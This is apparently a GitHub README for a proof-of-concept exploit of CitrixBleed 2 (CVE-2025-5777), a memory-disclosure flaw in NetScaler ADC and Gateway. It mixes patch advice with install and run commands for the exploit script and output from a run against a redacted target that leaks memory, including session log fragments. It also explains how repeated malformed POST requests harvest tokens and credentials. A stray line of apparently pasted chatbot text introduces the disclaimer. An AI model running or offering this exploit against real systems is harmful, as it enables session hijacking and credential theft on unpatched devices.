CVE-2025-5777# CitrixBleed 2 (CVE-2025-5777): The New Heartbleed for NetScaler Devices 💔🩸
A **critical** vulnerability found in Citrix NetScaler ADC and NetScaler Gateway.
<img width="612" height="408" alt="cit-removebg-preview" src="https://github.com/user-attachments/assets/20dc8496-3720-466d-9c34-6f4d7dd92631" />
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### 📋 **Quick Facts**
* **CVE ID**: CVE-2025-5777
* **Nickname**: CitrixBleed 2 🩸
* **Severity**: Critical CVSS 9.3 🚨
* **Impact**: Memory Disclosure 🧠💥
* **Exploitation**: Remote & Unauthenticated 🌍🔓
---
### 🛑 Affected Products
* NetScaler ADC (formerly Citrix ADC)
* NetScaler Gateway
* Versions before June/July 2025 patches 📆🛠️
---
### 💣 What Does It Do?
An attacker can exploit this flaw **without logging in** to:
* 🗝️ Steal authentication tokens
* 🔐 Access user credentials
* 🧾 Leak session data
* 🔓 Extract memory contents (similar to Heartbleed 🧊🩸)
---
### 🧠 Like Heartbleed?
Yes. Just like **Heartbleed (CVE-2014-0160)**, this flaw lets hackers read sensitive memory data due to poor memory isolation or input validation.
---
### 🧰 Recommendations
* ✅ **Patch immediately** — update to fixed versions
* 🔎 **Monitor logs** for suspicious activity
* 🔄 **Rotate** sensitive keys, tokens, and certificates
* 🛡️ **Harden** perimeter devices
---
### 🗝️ Proof-of-Concept
***1 - Vulnerable Request (Burp Suite 🎲)***
<img width="1549" height="793" alt="burpsuite" src="https://github.com/user-attachments/assets/787a05af-2135-44bb-b64e-9adab42e3c32" />
***Data Leaked***: Each HTTP request can leak approximately 127 bytes of RAM content. By repeating these requests, attackers can collect sensitive data from memory, which may include:
+ Session tokens (allowing session hijacking and bypassing MFA).
+ Authentication data.
+ Portions of previous HTTP requests.
+ Plaintext credentials.
+ Other sensitive information.
## 💻 Script Usage:
Requirements / Dependencies
```
pip3 install aiohttp colorama
```
🖥️ Run the script
```
python3 exploit.py <URL> [options]
```
***2 - 🧬 Exploit in Action***
```
┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2025-5777.py https://[REDACTED].com
[+] Found InitialValue:
00000000: 16 03 03
[+] Found InitialValue:
00000000: 16 03 03
[+] Found InitialValue:
00000000: 16 03 03
[+] Found InitialValue:
00000000: 16 03 03
00000010: 34 3a 32 38 3a 31 34 20 47 4d 54 20 7a 62 78 61 4:28:14 GMT zbxa
00000020: 31 31 30 32 20 50 50 45 2d 33 3a 20 64 65 66 61 1102 PPE-3: defa
00000030: 75 6c 74 20 41 41 41 20 4d 65 73 73 61 67 65 20 ult AAA Message
00000040: 36 20 31 36 39 33 33 35 20 3a 20 22 28 33 2d 37 6 169335 : "(3-7
00000050: 30 32 36 33 29 20 73 65 6e 64 5f 61 75 74 68 65 0263) send_authe
00000060: 6e 74 69 63 61 74 65 5f 70 64 75 3a 20 53 65 6e nticate_pdu: Sen
00000070: 64 69 6e 67 20 50 72 65 61 6d 62 6c 65 22 2e 49 ding Preamble".I
00000080: 44 3d 37 63 65 32 62 31 66 32 2d D=7ce2b1f2-
[+] Found InitialValue:
00000000: 16 03 03
[+] Found InitialValue:
00000000: ef bf bd 3f ef bf bd ef bf bd d0 17 ef bf bd 14 ...?............
00000010: 57 ef bf bd 20 ef bf bd ef bf bd 6e ef bf bd 14 W... ......n....
00000020: bd 3a ef bf bd 67 ef bf bd 47 ef bf bd 1f ef bf .:...g...G......
00000030: bd ef bf bd 6c c7 ad 39 2f 5a 39 77 5b ef bf bd ....l..9/Z9w[...
00000040: ef bf bd 38 c4 bd 64 ef 23 ef bf bd ef bf bd 5a ...8..d.#.....Z
00000050: ef bf bd 55 ef bf bd ef bf bd ef bf bd ef bf bd ...U............
00000060: ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef ................
00000070: bf bd ef bf bd ef bf bd 02 3b 21 ef bf bd 7d ef .........;!...}.
00000080: bf bd 0e ef bf bd ef bf bd 20 13 ef bf bd ef ......... ....
```
---
### 💥 How it work!!!
This Python script 🐍 :
+ Send repeated malformed POST requests.
+ Parse XML responses.
+ Extract leaked memory from `<InitialValue>` fields.
+ Display it in a hex-dump format like the `xxd` tool.
+ Support optional proxying, threading and verbose output for analysis.
---
Here’s a clean and professional **disclaimer** you can use — tailored for cybersecurity content like exploits, scripts, or CVE research:
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### ⚠️ **Disclaimer**
This content is provided for **educational and research purposes only** 🧠🔬.
The information shared here, including any scripts or exploits, must **not** be used for unauthorized access, malicious activity, or to violate any applicable laws 🛑📜.
The author and publisher **assume no responsibility** for misuse of the material 🚫💻.
Always get **proper authorization** before testing or probing any system 🎯✅.
> 💡 **Think before you hack. Hack ethically.**
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